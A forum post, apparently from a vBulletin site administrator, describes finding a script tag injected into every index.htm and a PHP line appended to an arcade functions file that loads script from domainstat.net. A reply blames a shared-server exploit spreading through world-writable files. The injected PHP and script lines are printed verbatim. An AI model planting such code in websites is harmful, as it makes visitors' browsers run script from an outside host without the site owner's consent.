This script shows up on my homepage
Code:
<script language='JavaScript' type='text/javascript' src='http://domainstat.net/stat.php'>
so i searched through my site files and found the above file in every index.htm file, its a redirect to some advertising....Members complained the arcade wasnt working so had a look at the error they were getting..
Code:
Warning: Cannot modify header information - headers already sent by (output started at /home/www/toonunit/vb/arcade/functions/functions.php:1965) in /arcade.php on line 1711
Warning: Cannot modify header information - headers already sent by (output started at /home/www/toonunit/vb/arcade/functions/functions.php:1965) in /arcade.php on line 1712
Warning: Cannot modify header information - headers already sent by (output started at /home/www/toonunit/vb/arcade/functions/functions.php:1965) in /arcade.php on line 1713
Warning: Cannot modify header information - headers already sent by (output started at /home/www/toonunit/vb/arcade/functions/functions.php:1965) in /arcade.php on line 1714
looked at line 1965 and found this code!
Code:
<? if (!defined('domainstat')) { define("domainstat", "ok"); echo "<script language='JavaScript' type='text/javascript' src='http://domainstat.net/stat.php'></script>";}?>
This is the last line in the file how could someone have got this there....I am running vbulletin 3.5.3.....
Contacted my host and they told me to change my ftp username and password. But nothing else in the site was changed, so i dont think it was done through that.
Any ideas?
Seems this is a server exploit once on your shared server it moves from domain to domain putting this script in any chmod 777 files and folders....